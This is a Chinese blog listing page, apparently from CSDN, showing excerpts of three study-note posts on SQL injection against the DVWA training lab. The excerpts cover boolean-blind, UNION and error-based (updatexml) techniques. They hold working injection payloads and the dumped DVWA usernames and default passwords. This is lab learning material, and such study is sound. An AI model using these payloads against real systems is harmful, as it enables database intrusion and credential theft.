- 博客(3)
- 收藏
- 关注
RSS订阅原创 SQL注入入门学习笔记：DVWA-SQL注入之布尔盲注
输入1' and ( select ascii( mid( column_name,1,1 )) from information_schema.columns where table_name = 'users' and table_schema = 'dvwa' limit 3,1) > 96#输入1' and ( select ascii( mid( schema_name,1,1 )) from information_schema.schemata limit 1,1 ) = 101#
2023-11-02 01:23:56
145
原创 SQL注入入门学习笔记：DVWA-SQL注入之UNION注入
结果为：First name:user_id,first_name,last_name,user,password,avatar,last_login,failed_login。综上，通过MD5解密，可知admin的密码为：password、gordonb的密码为：abc123。结果为：First name: admin,gordonb,1337,pablo,smithy。结果为：First name: guestbook,users。结果为：First name: users。
2023-10-11 01:20:43
85
1
原创 SQL注入入门学习笔记：DVWA-SQL注入之报错注入
结果为：XPATH syntax error: '~admin,gordonb,1337,pablo,smithy'，最后的“~”没有出现，所以需要继续查询。1' and updatexml(1,'database()~',3)#的结果为：XPATH syntax error: '()~'结果为：XPATH syntax error: '~9~'，最后一个“~”出现，说明已经显示完。结果为：XPATH syntax error: '~~'，最后一个“~”出现，说明已经显示完。
2023-10-11 01:03:35
232
1
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人